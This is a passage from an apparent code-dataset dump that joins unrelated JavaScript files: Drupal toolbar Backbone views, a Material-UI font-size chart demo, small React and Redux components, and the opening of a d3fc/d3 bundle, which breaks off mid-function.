/**
* @file
* A Backbone Model for collapsible menus.
*/
(function (Backbone, Drupal) {
"use strict";
/**
* Backbone Model for collapsible menus.
*/
Drupal.toolbar.MenuModel = Backbone.Model.extend({
defaults: {
subtrees: {}
}
});
}(Backbone, Drupal));
;
/**
* @file
* A Backbone Model for the toolbar.
*/
(function (Backbone, Drupal) {
"use strict";
/**
* Backbone model for the toolbar.
*/
Drupal.toolbar.ToolbarModel = Backbone.Model.extend({
defaults: {
// The active toolbar tab. All other tabs should be inactive under
// normal circumstances. It will remain active across page loads. The
// active item is stored as an ID selector e.g. '#toolbar-item--1'.
activeTab: null,
// Represents whether a tray is open or not. Stored as an ID selector e.g.
// '#toolbar-item--1-tray'.
activeTray: null,
// Indicates whether the toolbar is displayed in an oriented fashion,
// either horizontal or vertical.
isOriented: false,
// Indicates whether the toolbar is positioned absolute (false) or fixed
// (true).
isFixed: false,
// Menu subtrees are loaded through an AJAX request only when the Toolbar
// is set to a vertical orientation.
areSubtreesLoaded: false,
// If the viewport overflow becomes constrained, isFixed must be true so
// that elements in the trays aren't lost off-screen and impossible to
// get to.
isViewportOverflowConstrained: false,
// The orientation of the active tray.
orientation: 'vertical',
// A tray is locked if a user toggled it to vertical. Otherwise a tray
// will switch between vertical and horizontal orientation based on the
// configured breakpoints. The locked state will be maintained across page
// loads.
locked: false,
// Indicates whether the tray orientation toggle is visible.
isTrayToggleVisible: false,
// The height of the toolbar.
height: null,
// The current viewport offsets determined by Drupal.displace(). The
// offsets suggest how a module might position is components relative to
// the viewport.
offsets: {
top: 0,
right: 0,
bottom: 0,
left: 0
}
},
/**
* {@inheritdoc}
*/
validate: function (attributes, options) {
// Prevent the orientation being set to horizontal if it is locked, unless
// override has not been passed as an option.
if (attributes.orientation === 'horizontal' && this.get('locked') && !options.override) {
return Drupal.t('The toolbar cannot be set to a horizontal orientation when it is locked.');
}
}
});
}(Backbone, Drupal));
;
/**
* @file
* A Backbone view for the body element.
*/
(function ($, Drupal, Backbone) {
"use strict";
/**
* Adjusts the body element with the toolbar position and dimension changes.
*/
Drupal.toolbar.BodyVisualView = Backbone.View.extend({
/**
* {@inheritdoc}
*/
initialize: function () {
this.listenTo(this.model, 'change:orientation change:offsets change:activeTray change:isOriented change:isFixed change:isViewportOverflowConstrained', this.render);
},
/**
* {@inheritdoc}
*/
render: function () {
var $body = $('body');
var orientation = this.model.get('orientation');
var isOriented = this.model.get('isOriented');
var isViewportOverflowConstrained = this.model.get('isViewportOverflowConstrained');
$body
// We are using JavaScript to control media-query handling for two
// reasons: (1) Using JavaScript let's us leverage the breakpoint
// configurations and (2) the CSS is really complex if we try to hide
// some styling from browsers that don't understand CSS media queries.
// If we drive the CSS from classes added through JavaScript,
// then the CSS becomes simpler and more robust.
.toggleClass('toolbar-vertical', (orientation === 'vertical'))
.toggleClass('toolbar-horizontal', (isOriented && orientation === 'horizontal'))
// When the toolbar is fixed, it will not scroll with page scrolling.
.toggleClass('toolbar-fixed', (isViewportOverflowConstrained || this.model.get('isFixed')))
// Toggle the toolbar-tray-open class on the body element. The class is
// applied when a toolbar tray is active. Padding might be applied to
// the body element to prevent the tray from overlapping content.
.toggleClass('toolbar-tray-open', !!this.model.get('activeTray'))
// Apply padding to the top of the body to offset the placement of the
// toolbar bar element.
.css('padding-top', this.model.get('offsets').top);
}
});
}(jQuery, Drupal, Backbone));
;
/**
* @file
* A Backbone view for the collapsible menus.
*/
(function ($, Backbone, Drupal) {
"use strict";
/**
* Backbone View for collapsible menus.
*/
Drupal.toolbar.MenuVisualView = Backbone.View.extend({
/**
* {@inheritdoc}
*/
initialize: function () {
this.listenTo(this.model, 'change:subtrees', this.render);
},
/**
* {@inheritdoc}
*/
render: function () {
var subtrees = this.model.get('subtrees');
// Add subtrees.
for (var id in subtrees) {
if (subtrees.hasOwnProperty(id)) {
this.$el
.find('#toolbar-link-' + id)
.once('toolbar-subtrees')
.after(subtrees[id]);
}
}
// Render the main menu as a nested, collapsible accordion.
if ('drupalToolbarMenu' in $.fn) {
this.$el
.children('.menu')
.drupalToolbarMenu();
}
}
});
}(jQuery, Backbone, Drupal));
;
/**
* @file
* A Backbone view for the aural feedback of the toolbar.
*/
(function (Backbone, Drupal) {
"use strict";
/**
* Backbone view for the aural feedback of the toolbar.
*/
Drupal.toolbar.ToolbarAuralView = Backbone.View.extend({
/**
* {@inheritdoc}
*/
initialize: function (options) {
this.strings = options.strings;
this.listenTo(this.model, 'change:orientation', this.onOrientationChange);
this.listenTo(this.model, 'change:activeTray', this.onActiveTrayChange);
},
/**
* Announces an orientation change.
*
* @param Drupal.Toolbar.ToolbarModel model
* @param String orientation
* The new value of the orientation attribute in the model.
*/
onOrientationChange: function (model, orientation) {
Drupal.announce(Drupal.t('Tray orientation changed to @orientation.', {
'@orientation': orientation
}));
},
/**
* Announces a changed active tray.
*
* @param Drupal.Toolbar.ToolbarModel model
* @param Element orientation
* The new value of the tray attribute in the model.
*/
onActiveTrayChange: function (model, tray) {
var relevantTray = (tray === null) ? model.previous('activeTray') : tray;
var trayName = relevantTray.querySelector('.toolbar-tray-name').textContent;
var text;
if (tray === null) {
text = Drupal.t('Tray "@tray" closed.', { '@tray': trayName });
}
else {
text = Drupal.t('Tray "@tray" opened.', { '@tray': trayName });
}
Drupal.announce(text);
}
});
}(Backbone, Drupal));
;
/**
* @file
* A Backbone view for the toolbar element.
*/
(function ($, Drupal, drupalSettings, Backbone) {
"use strict";
/**
* Backbone view for the toolbar element.
*/
Drupal.toolbar.ToolbarVisualView = Backbone.View.extend({
events: {
'click .toolbar-bar .toolbar-tab': 'onTabClick',
'click .toolbar-toggle-orientation button': 'onOrientationToggleClick'
},
/**
* {@inheritdoc}
*/
initialize: function (options) {
this.strings = options.strings;
this.listenTo(this.model, 'change:activeTab change:orientation change:isOriented change:isTrayToggleVisible', this.render);
this.listenTo(this.model, 'change:mqMatches', this.onMediaQueryChange);
this.listenTo(this.model, 'change:offsets', this.adjustPlacement);
// Add the tray orientation toggles.
this.$el
.find('.toolbar-tray .toolbar-lining')
.append(Drupal.theme('toolbarOrientationToggle'));
// Trigger an activeTab change so that listening scripts can respond on
// page load. This will call render.
this.model.trigger('change:activeTab');
},
/**
* {@inheritdoc}
*/
render: function () {
this.updateTabs();
this.updateTrayOrientation();
this.updateBarAttributes();
// Load the subtrees if the orientation of the toolbar is changed to
// vertical. This condition responds to the case that the toolbar switches
// from horizontal to vertical orientation. The toolbar starts in a
// vertical orientation by default and then switches to horizontal during
// initialization if the media query conditions are met. Simply checking
// that the orientation is vertical here would result in the subtrees
// always being loaded, even when the toolbar initialization ultimately
// results in a horizontal orientation.
//
// @see Drupal.behaviors.toolbar.attach() where admin menu subtrees
// loading is invoked during initialization after media query conditions
// have been processed.
if (this.model.changed.orientation === 'vertical' || this.model.changed.activeTab) {
this.loadSubtrees();
}
// Trigger a recalculation of viewport displacing elements. Use setTimeout
// to ensure this recalculation happens after changes to visual elements
// have processed.
window.setTimeout(function () {
Drupal.displace(true);
}, 0);
return this;
},
/**
* Responds to a toolbar tab click.
*
* @param jQuery.Event event
*/
onTabClick: function (event) {
// If this tab has a tray associated with it, it is considered an
// activatable tab.
if (event.target.hasAttribute('data-toolbar-tray')) {
var activeTab = this.model.get('activeTab');
var clickedTab = event.target;
// Set the event target as the active item if it is not already.
this.model.set('activeTab', (!activeTab || clickedTab !== activeTab) ? clickedTab : null);
event.preventDefault();
event.stopPropagation();
}
},
/**
* Toggles the orientation of a toolbar tray.
*
* @param jQuery.Event event
*/
onOrientationToggleClick: function (event) {
var orientation = this.model.get('orientation');
// Determine the toggle-to orientation.
var antiOrientation = (orientation === 'vertical') ? 'horizontal' : 'vertical';
var locked = (antiOrientation === 'vertical') ? true : false;
// Remember the locked state.
if (locked) {
localStorage.setItem('Drupal.toolbar.trayVerticalLocked', 'true');
}
else {
localStorage.removeItem('Drupal.toolbar.trayVerticalLocked');
}
// Update the model.
this.model.set({
locked: locked,
orientation: antiOrientation
}, {
validate: true,
override: true
});
event.preventDefault();
event.stopPropagation();
},
/**
* Updates the display of the tabs: toggles a tab and the associated tray.
*/
updateTabs: function () {
var $tab = $(this.model.get('activeTab'));
// Deactivate the previous tab.
$(this.model.previous('activeTab'))
.removeClass('active')
.prop('aria-pressed', false);
// Deactivate the previous tray.
$(this.model.previous('activeTray'))
.removeClass('active');
// Activate the selected tab.
if ($tab.length > 0) {
$tab
.addClass('active')
// Mark the tab as pressed.
.prop('aria-pressed', true);
var name = $tab.attr('data-toolbar-tray');
// Store the active tab name or remove the setting.
var id = $tab.get(0).id;
if (id) {
localStorage.setItem('Drupal.toolbar.activeTabID', JSON.stringify(id));
}
// Activate the associated tray.
var $tray = this.$el.find('[data-toolbar-tray="' + name + '"].toolbar-tray');
if ($tray.length) {
$tray.addClass('active');
this.model.set('activeTray', $tray.get(0));
}
else {
// There is no active tray.
this.model.set('activeTray', null);
}
}
else {
// There is no active tray.
this.model.set('activeTray', null);
localStorage.removeItem('Drupal.toolbar.activeTabID');
}
},
/**
* Update the attributes of the toolbar bar element.
*/
updateBarAttributes: function () {
var isOriented = this.model.get('isOriented');
if (isOriented) {
this.$el.find('.toolbar-bar').attr('data-offset-top', '');
}
else {
this.$el.find('.toolbar-bar').removeAttr('data-offset-top');
}
// Toggle between a basic vertical view and a more sophisticated
// horizontal and vertical display of the toolbar bar and trays.
this.$el.toggleClass('toolbar-oriented', isOriented);
},
/**
* Updates the orientation of the active tray if necessary.
*/
updateTrayOrientation: function () {
var orientation = this.model.get('orientation');
// The antiOrientation is used to render the view of action buttons like
// the tray orientation toggle.
var antiOrientation = (orientation === 'vertical') ? 'horizontal' : 'vertical';
// Update the orientation of the trays.
var $trays = this.$el.find('.toolbar-tray')
.removeClass('toolbar-tray-horizontal toolbar-tray-vertical')
.addClass('toolbar-tray-' + orientation);
// Update the tray orientation toggle button.
var iconClass = 'toolbar-icon-toggle-' + orientation;
var iconAntiClass = 'toolbar-icon-toggle-' + antiOrientation;
var $orientationToggle = this.$el.find('.toolbar-toggle-orientation')
.toggle(this.model.get('isTrayToggleVisible'));
$orientationToggle.find('button')
.val(antiOrientation)
.attr('title', this.strings[antiOrientation])
.text(this.strings[antiOrientation])
.removeClass(iconClass)
.addClass(iconAntiClass);
// Update data offset attributes for the trays.
var dir = document.documentElement.dir;
var edge = (dir === 'rtl') ? 'right' : 'left';
// Remove data-offset attributes from the trays so they can be refreshed.
$trays.removeAttr('data-offset-left data-offset-right data-offset-top');
// If an active vertical tray exists, mark it as an offset element.
$trays.filter('.toolbar-tray-vertical.active').attr('data-offset-' + edge, '');
// If an active horizontal tray exists, mark it as an offset element.
$trays.filter('.toolbar-tray-horizontal.active').attr('data-offset-top', '');
},
/**
* Sets the tops of the trays so that they align with the bottom of the bar.
*/
adjustPlacement: function () {
var $trays = this.$el.find('.toolbar-tray');
if (!this.model.get('isOriented')) {
$trays.css('padding-top', 0);
$trays.removeClass('toolbar-tray-horizontal').addClass('toolbar-tray-vertical');
}
else {
// The toolbar container is invisible. Its placement is used to
// determine the container for the trays.
$trays.css('padding-top', this.$el.find('.toolbar-bar').outerHeight());
}
},
/**
* Calls the endpoint URI that will return rendered subtrees with JSONP.
*
* The rendered admin menu subtrees HTML is cached on the client in
* localStorage until the cache of the admin menu subtrees on the server-
* side is invalidated. The subtreesHash is stored in localStorage as well
* and compared to the subtreesHash in drupalSettings to determine when the
* admin menu subtrees cache has been invalidated.
*/
loadSubtrees: function () {
var $activeTab = $(this.model.get('activeTab'));
var orientation = this.model.get('orientation');
// Only load and render the admin menu subtrees if:
// (1) They have not been loaded yet.
// (2) The active tab is the administration menu tab, indicated by the
// presence of the data-drupal-subtrees attribute.
// (3) The orientation of the tray is vertical.
if (!this.model.get('areSubtreesLoaded') && $activeTab.data('drupal-subtrees') !== undefined && orientation === 'vertical') {
var subtreesHash = drupalSettings.toolbar.subtreesHash;
var langcode = drupalSettings.toolbar.langcode;
var endpoint = Drupal.url('toolbar/subtrees/' + subtreesHash + '/' + langcode);
var cachedSubtreesHash = localStorage.getItem('Drupal.toolbar.subtreesHash');
var cachedSubtrees = JSON.parse(localStorage.getItem('Drupal.toolbar.subtrees'));
var isVertical = this.model.get('orientation') === 'vertical';
// If we have the subtrees in localStorage and the subtree hash has not
// changed, then use the cached data.
if (isVertical && subtreesHash === cachedSubtreesHash && cachedSubtrees) {
Drupal.toolbar.setSubtrees.resolve(cachedSubtrees);
}
// Only make the call to get the subtrees if the orientation of the
// toolbar is vertical.
else if (isVertical) {
// Remove the cached menu information.
localStorage.removeItem('Drupal.toolbar.subtreesHash');
localStorage.removeItem('Drupal.toolbar.subtrees');
// The response from the server will call the resolve method of the
// Drupal.toolbar.setSubtrees Promise.
$.ajax(endpoint);
// Cache the hash for the subtrees locally.
localStorage.setItem('Drupal.toolbar.subtreesHash', subtreesHash);
}
}
}
});
}(jQuery, Drupal, drupalSettings, Backbone));
;
/**
* @file
* Attaches behaviors for Drupal's active link marking.
*/
(function (Drupal, drupalSettings) {
"use strict";
/**
* Append active class.
*
* The link is only active if its path corresponds to the current path, the
* language of the linked path is equal to the current language, and if the
* query parameters of the link equal those of the current request, since the
* same request with different query parameters may yield a different page
* (e.g. pagers, exposed View filters).
*
* Does not discriminate based on element type, so allows you to set the active
* class on any element: a, li…
*/
Drupal.behaviors.activeLinks = {
attach: function (context) {
// Start by finding all potentially active links.
var path = drupalSettings.path;
var queryString = JSON.stringify(path.currentQuery);
var querySelector = path.currentQuery ? "[data-drupal-link-query='" + queryString + "']" : ':not([data-drupal-link-query])';
var originalSelectors = ['[data-drupal-link-system-path="' + path.currentPath + '"]'];
var selectors;
// If this is the front page, we have to check for the <front> path as well.
if (path.isFront) {
originalSelectors.push('[data-drupal-link-system-path="<front>"]');
}
// Add language filtering.
selectors = [].concat(
// Links without any hreflang attributes (most of them).
originalSelectors.map(function (selector) { return selector + ':not([hreflang])'; }),
// Links with hreflang equals to the current language.
originalSelectors.map(function (selector) { return selector + '[hreflang="' + path.currentLanguage + '"]'; })
);
// Add query string selector for pagers, exposed filters.
selectors = selectors.map(function (current) { return current + querySelector; });
// Query the DOM.
var activeLinks = context.querySelectorAll(selectors.join(','));
for (var i = 0, il = activeLinks.length; i < il; i += 1) {
activeLinks[i].classList.add('active');
}
},
detach: function (context, settings, trigger) {
if (trigger === 'unload') {
var activeLinks = context.querySelectorAll('[data-drupal-link-system-path].active');
for (var i = 0, il = activeLinks.length; i < il; i += 1) {
activeLinks[i].classList.remove('active');
}
}
}
};
})(Drupal, drupalSettings);
;
/**
* @file
* Measure an element’s intrinsic width or height when neither constrained by
* a container nor forced full width as in 'display: block'.
*/
(function ($) {
'use strict';
// Style block applied momentarily in order to measure the element.
//
// 1. Shrink-wrap the element. Block display would give us the width of the
// container, not the element’s intrinsic width.
// 2. Preventative measure. The styles should be reverted before the browser’s
// UI thread updates.
//
// We avoid 'position: absolute' because this causes the element to wrap if
// it’s wider than the viewport, regardless of the width of <body> and <html>.
//
var tempElementCSS = {
display: 'table', /* 1 */
visibility: 'hidden', /* 2 */
width: 'auto',
height: 'auto',
maxWidth: 'none',
maxHeight: 'none'
};
// Style block applied momentarily to the body in order to ensure the
// element’s layout area isn’t constrained.
var tempBodyCSS = {
width: '999em',
height: '999em'
};
$.fn.intrinsic = function (dimension) {
// The measured element may be a plain object or jQuery.
var element = this instanceof jQuery ? this[0] : this;
var measurement;
// Use jQuery’s internal swap() method to temporarily apply the styles, then
// measure the element’s width() or height().
$.swap(document.body, tempBodyCSS, function () {
$.swap(element, tempElementCSS, function () {
measurement = $(element)[dimension]();
});
});
return measurement;
};
})(jQuery);
;
/**
* @file
* Responsive navigation tabs.
* Utilizes jquery.intrinsic.js to calculate if the tabs are larger than their
* container and toggles the 'is-horizontal' class.
*
* This also supports collapsible navigable is the 'is-collasible' class is
* added to the main element, and a target element is included.
*/
(function ($, Drupal) {
"use strict";
function init(i, tab) {
var $tab = $(tab);
var $target = $tab.find('[data-drupal-nav-tabs-target]');
var isCollapsible = $tab.hasClass('is-collapsible');
function openMenu(e) {
$target.toggleClass('is-open');
}
function handleResize(e) {
$tab.addClass('is-horizontal');
var isHorizontal = $tab.parent().width() > $tab.intrinsic('width');
$tab.toggleClass('is-horizontal', isHorizontal);
if (isCollapsible) {
$tab.toggleClass('is-collapse-enabled', !isHorizontal);
}
if (isHorizontal) {
$target.removeClass('is-open');
}
}
$tab.addClass('position-container is-horizontal-enabled');
$tab.on('click.tabs', '[data-drupal-nav-tabs-trigger]', openMenu);
$(window).on('resize.tabs', Drupal.debounce(handleResize)).trigger('resize.tabs');
}
/**
* Initialise the tabs JS.
*/
Drupal.behaviors.navTabs = {
attach: function (context, settings) {
var $tabs = $(context).find('[data-drupal-nav-tabs]');
if ($tabs.length) {
var notSmartPhone = window.matchMedia('(min-width: 300px)');
if (notSmartPhone.matches) {
$tabs.once('nav-tabs').each(init);
}
}
}
};
})(jQuery, Drupal);
;
|
docs/src/pages/customization/typography/ResponsiveFontSizesChart.js
|
lgollut/material-ui
|
import React from 'react';
// import of a small, pure module in a private demo
// bundle size and module duplication is negligible
/* eslint-disable-next-line no-restricted-imports */
import { convertLength } from '@material-ui/core/styles/cssUtils';
import { makeStyles, createMuiTheme, responsiveFontSizes } from '@material-ui/core/styles';
import {
Legend,
Tooltip,
LineChart,
Line,
XAxis,
YAxis,
Label,
ResponsiveContainer,
} from 'recharts';
let theme = createMuiTheme();
theme = responsiveFontSizes(theme);
const colors = ['#443dc2', '#2060df', '#277e91', '#378153', '#4d811d', '#63780d', '#996600'];
const variants = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'subtitle1'];
const useStyles = makeStyles({
root: {
height: 380,
width: '100%',
color: 'black',
},
});
export default function ResponsiveFontSizes() {
const classes = useStyles();
const convert = convertLength(theme.typography.htmlFontSize);
const toPx = (rem) => parseFloat(convert(rem, 'px'));
const series = variants.map((variantName) => {
const variant = theme.typography[variantName];
const data = [];
data.push({
viewport: 0,
fontSize: toPx(variant.fontSize),
});
theme.breakpoints.keys.forEach((key) => {
const viewport = theme.breakpoints.values[key];
const value = theme.breakpoints.up(key);
if (variant[value]) {
data.push({
viewport: viewport - 1,
fontSize: data[data.length - 1].fontSize,
});
data.push({
viewport,
fontSize: toPx(variant[value].fontSize),
});
} else if (key === 'xl') {
data.push({
viewport,
fontSize: data[data.length - 1].fontSize,
});
}
});
return {
name: variantName,
data,
};
});
return (
<div className={classes.root}>
<ResponsiveContainer>
<LineChart
margin={{
top: 50,
right: 140,
bottom: 0,
left: 30,
}}
>
<XAxis dataKey="viewport" type="number">
<Label position="right" offset={30}>
viewport (px)
</Label>
</XAxis>
<YAxis dataKey="fontSize" type="number">
<Label position="top" offset={20}>
font-size (rem)
</Label>
</YAxis>
<Tooltip />
<Legend />
{series.map((serie, index) => (
<Line
dataKey="fontSize"
stroke={colors[index % colors.length]}
data={serie.data}
name={serie.name}
key={serie.name}
/>
))}
</LineChart>
</ResponsiveContainer>
</div>
);
}
|
examples/todomvc/containers/App.js
|
ytiurin/redux
|
import React, { Component } from 'react';
import TodoApp from './TodoApp';
import { createRedux } from 'redux';
import { Provider } from 'redux/react';
import * as stores from '../stores';
const redux = createRedux(stores);
export default class App extends Component {
render() {
return (
<Provider redux={redux}>
{() => <TodoApp />}
</Provider>
);
}
}
|
client/src/components/Listing/AddListing/AddListingComponents/ListingBody.js
|
Darkrender/raptor-ads
|
import React from 'react';
import { Form } from 'semantic-ui-react';
const ListingBody = ({ body, onChange, getFormClass }) =>
<Form.TextArea
rows="5"
label="Job Description"
placeholder="Tell us about the job..."
name="body"
value={body}
onChange={e => onChange(e)}
className={getFormClass('body')}
/>;
ListingBody.propTypes = {
body: React.PropTypes.string.isRequired,
onChange: React.PropTypes.func.isRequired,
getFormClass: React.PropTypes.func.isRequired,
};
export default ListingBody;
|
frontend/js/components/organisms/MenuListItem.js
|
Code4HR/okcandidate-platform
|
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { Link } from 'react-router';
import Icon from './../atoms/Icon';
class MenuListItem extends Component {
render() {
return (
<li>
<Link to={this.props.href}>
{
this.props.icon &&
<Icon>{this.props.icon}</Icon>
}
<span>{this.props.label}</span>
</Link>
</li>
);
}
}
MenuListItem.propTypes = {
href: PropTypes.string,
label: PropTypes.string,
icon: PropTypes.string
};
export default MenuListItem;
|
ajax/libs/d3fc/10.0.0/d3fc.bundle.js
|
Amomo/cdnjs
|
!function() {
var d3 = {
version: "3.5.17"
};
var d3_arraySlice = [].slice, d3_array = function(list) {
return d3_arraySlice.call(list);
};
var d3_document = this.document;
function d3_documentElement(node) {
return node && (node.ownerDocument || node.document || node).documentElement;
}
function d3_window(node) {
return node && (node.ownerDocument && node.ownerDocument.defaultView || node.document && node || node.defaultView);
}
if (d3_document) {
try {
d3_array(d3_document.documentElement.childNodes)[0].nodeType;
} catch (e) {
d3_array = function(list) {
var i = list.length, array = new Array(i);
while (i--) array[i] = list[i];
return array;
};
}
}
if (!Date.now) Date.now = function() {
return +new Date();
};
if (d3_document) {
try {
d3_document.createElement("DIV").style.setProperty("opacity", 0, "");
} catch (error) {
var d3_element_prototype = this.Element.prototype, d3_element_setAttribute = d3_element_prototype.setAttribute, d3_element_setAttributeNS = d3_element_prototype.setAttributeNS, d3_style_prototype = this.CSSStyleDeclaration.prototype, d3_style_setProperty = d3_style_prototype.setProperty;
d3_element_prototype.setAttribute = function(name, value) {
d3_element_setAttribute.call(this, name, value + "");
};
d3_element_prototype.setAttributeNS = function(space, local, value) {
d3_element_setAttributeNS.call(this, space, local, value + "");
};
d3_style_prototype.setProperty = function(name, value, priority) {
d3_style_setProperty.call(this, name, value + "", priority);
};
}
}
d3.ascending = d3_ascending;
function d3_ascending(a, b) {
return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN;
}
d3.descending = function(a, b) {
return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN;
};
d3.min = function(array, f) {
var i = -1, n = array.length, a, b;
if (arguments.length === 1) {
while (++i < n) if ((b = array[i]) != null && b >= b) {
a = b;
break;
}
while (++i < n) if ((b = array[i]) != null && a > b) a = b;
} else {
while (++i < n) if ((b = f.call(array, array[i], i)) != null && b >= b) {
a = b;
break;
}
while (++i < n) if ((b = f.call(array, array[i], i)) != null && a > b) a = b;
}
return a;
};
d3.max = function(array, f) {
var i = -1, n = array.length, a, b;
if (arguments.length === 1) {
while (++i < n) if ((b = array[i]) != null && b >= b) {
a = b;
break;
}
while (++i < n) if ((b = array[i]) != null && b > a) a = b;
} else {
while (++i < n) if ((b = f.call(array, array[i], i)) != null && b >= b) {
a = b;
break;
}
while (++i < n) if ((b = f.call(array, array[i], i)) != null && b > a) a = b;
}
return a;
};
d3.extent = function(array, f) {
var i = -1, n = array.length, a, b, c;
if (arguments.length === 1) {
while (++i < n) if ((b = array[i]) != null && b >= b) {
a = c = b;
break;
}
while (++i < n) if ((b = array[i]) != null) {
if (a > b) a = b;
if (c < b) c = b;
}
} else {
while (++i < n) if ((b = f.call(array, array[i], i)) != null && b >= b) {
a = c = b;
break;
}
while (++i < n) if ((b = f.call(array, array[i], i)) != null) {
if (a > b) a = b;
if (c < b) c = b;
}
}
return [ a, c ];
};
function d3_number(x) {
return x === null ? NaN : +x;
}
function d3_numeric(x) {
return !isNaN(x);
}
d3.sum = function(array, f) {
var s = 0, n = array.length, a, i = -1;
if (arguments.length === 1) {
while (++i < n) if (d3_numeric(a = +array[i])) s += a;
} else {
while (++i < n) if (d3_numeric(a = +f.call(array, array[i], i))) s += a;
}
return s;
};
d3.mean = function(array, f) {
var s = 0, n = array.length, a, i = -1, j = n;
if (arguments.length === 1) {
while (++i < n) if (d3_numeric(a = d3_number(array[i]))) s += a; else --j;
} else {
while (++i < n) if (d3_numeric(a = d3_number(f.call(array, array[i], i)))) s += a; else --j;
}
if (j) return s / j;
};
d3.quantile = function(values, p) {
var H = (values.length - 1) * p + 1, h = Math.floor(H), v = +values[h - 1], e = H - h;
return e ? v + e * (values[h] - v) : v;
};
d3.median = function(array, f) {
var numbers = [], n = array.length, a, i = -1;
if (arguments.length === 1) {
while (++i < n) if (d3_numeric(a = d3_number(array[i]))) numbers.push(a);
} else {
while (++i < n) if (d3_numeric(a = d3_number(f.call(array, array[i], i)))) numbers.push(a);
}
if (numbers.length) return d3.quantile(numbers.sort(d3_ascending), .5);
};
d3.variance = function(array, f) {
var n = array.length, m = 0, a, d, s = 0, i = -1, j = 0;
if (arguments.length === 1) {
while (++i < n) {
if (d3_numeric(a = d3_number(array[i]))) {
d = a - m;
m += d / ++j;
s += d * (a - m);
}
}
} else {
while (++i < n) {
if (d3_numeric(a = d3_number(f.call(array, array[i], i)))) {
d = a - m;
m += d / ++j;
s += d * (a - m);
}
}
}
if (j > 1) return s / (j - 1);
};
d3.deviation = function() {
var v = d3.variance.apply(this, arguments);
return v ? Math.sqrt(v) : v;
};
function d3_bisector(compare) {
return {
left: function(a, x, lo, hi) {
if (arguments.length < 3) lo = 0;
if (arguments.length < 4) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) < 0) lo = mid + 1; else hi = mid;
}
return lo;
},
right: function(a, x, lo, hi) {
if (arguments.length < 3) lo = 0;
if (arguments.length < 4) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) > 0) hi = mid; else lo = mid + 1;
}
return lo;
}
};
}
var d3_bisect = d3_bisector(d3_ascending);
d3.bisectLeft = d3_bisect.left;
d3.bisect = d3.bisectRight = d3_bisect.right;
d3.bisector = function(f) {
return d3_bisector(f.length === 1 ? function(d, x) {
return d3_ascending(f(d), x);
} : f);
};
d3.shuffle = function(array, i0, i1) {
if ((m = arguments.length) < 3) {
i1 = array.length;
if (m < 2) i0 = 0;
}
var m = i1 - i0, t, i;
while (m) {
i = Math.random() * m-- | 0;
t = array[m + i0], array[m + i0] = array[i + i0], array[i + i0] = t;
}
return array;
};
d3.permute = function(array, indexes) {
var i = indexes.length, permutes = new Array(i);
while (i--) permutes[i] = array[indexes[i]];
return permutes;
};
d3.pairs = function(array) {
var i = 0, n = array.length - 1, p0, p1 = array[0], pairs = new Array(n < 0 ? 0 : n);
while (i < n) pairs[i] = [ p0 = p1, p1 = array[++i] ];
return pairs;
};
d3.transpose = function(matrix) {
if (!(n = matrix.length)) return [];
for (var i = -1, m = d3.min(matrix, d3_transposeLength), transpose = new Array(m); ++i < m; ) {
for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n; ) {
row[j] = matrix[j][i];
}
}
return transpose;
};
function d3_transposeLength(d) {
return d.length;
}
d3.zip = function() {
return d3.transpose(arguments);
};
d3.keys = function(map) {
var keys = [];
for (var key in map) keys.push(key);
return keys;
};
d3.values = function(map) {
var values = [];
for (var key in map) values.push(map[key]);
return values;
};
d3.entries = function(map) {
var entries = [];
for (var key in map) entries.push({
key: key,
value: map[key]
});
return entries;
};
d3.merge = function(arrays) {
var n = arrays.length, m, i = -1, j = 0, merged, array;
while (++i < n) j += arrays[i].length;
merged = new Array(j);
while (--n >= 0) {
array = arrays[n];
m = array.length;
while (--m >= 0) {
merged[--j] = array[m];
}
}
return merged;
};
var abs = Math.abs;
d3.range = function(start, stop, step) {
if (arguments.length < 3) {
step = 1;
if (arguments.length < 2) {
stop = start;
start = 0;
}
}
if ((stop - start) / step === Infinity) throw new Error("infinite range");
var range = [], k = d3_range_integerScale(abs(step)), i = -1, j;
start *= k, stop *= k, step *= k;
if (step < 0) while ((j = start + step * ++i) > stop) range.push(j / k); else while ((j = start + step * ++i) < stop) range.push(j / k);
return range;
};
function d3_range_integerScale(x) {
var k = 1;
while (x * k % 1) k *= 10;
return k;
}
function d3_class(ctor, properties) {
for (var key in properties) {
Object.defineProperty(ctor.prototype, key, {
value: properties[key],
enumerable: false
});
}
}
d3.map = function(object, f) {
var map = new d3_Map();
if (object instanceof d3_Map) {
object.forEach(function(key, value) {
map.set(key, value);
});
} else if (Array.isArray(object)) {
var i = -1, n = object.length, o;
if (arguments.length === 1) while (++i < n) map.set(i, object[i]); else while (++i < n) map.set(f.call(object, o = object[i], i), o);
} else {
for (var key in object) map.set(key, object[key]);
}
return map;
};
function d3_Map() {
this._ = Object.create(null);
}
var d3_map_proto = "__proto__", d3_map_zero = "\x00";
d3_class(d3_Map, {
has: d3_map_has,
get: function(key) {
return this._[d3_map_escape(key)];
},
set: function(key, value) {
return this._[d3_map_escape(key)] = value;
},
remove: d3_map_remove,
keys: d3_map_keys,
values: function() {
var values = [];
for (var key in this._) values.push(this._[key]);
return values;
},
entries: function() {
var entries = [];
for (var key in this._) entries.push({
key: d3_map_unescape(key),
value: this._[key]
});
return entries;
},
size: d3_map_size,
empty: d3_map_empty,
forEach: function(f) {
for (var key in this._) f.call(this, d3_map_unescape(key), this._[key]);
}
});
function d3_map_escape(key) {
return (key += "") === d3_map_proto || key[0] === d3_map_zero ? d3_map_zero + key : key;
}
function d3_map_unescape(key) {
return (key += "")[0] === d3_map_zero ? key.slice(1) : key;
}
function d3_map_has(key) {
return d3_map_escape(key) in this._;
}
function d3_map_remove(key) {
return (key = d3_map_escape(key)) in this._ && delete this._[key];
}
function d3_map_keys() {
var keys = [];
for (var key in this._) keys.push(d3_map_unescape(key));
return keys;
}
function d3_map_size() {
var size = 0;
for (var key in this._) ++size;
return size;
}
function d3_map_empty() {
for (var key in this._) return false;
return true;
}
d3.nest = function() {
var nest = {}, keys = [], sortKeys = [], sortValues, rollup;
function map(mapType, array, depth) {
if (depth >= keys.length) return rollup ? rollup.call(nest, array) : sortValues ? array.sort(sortValues) : array;
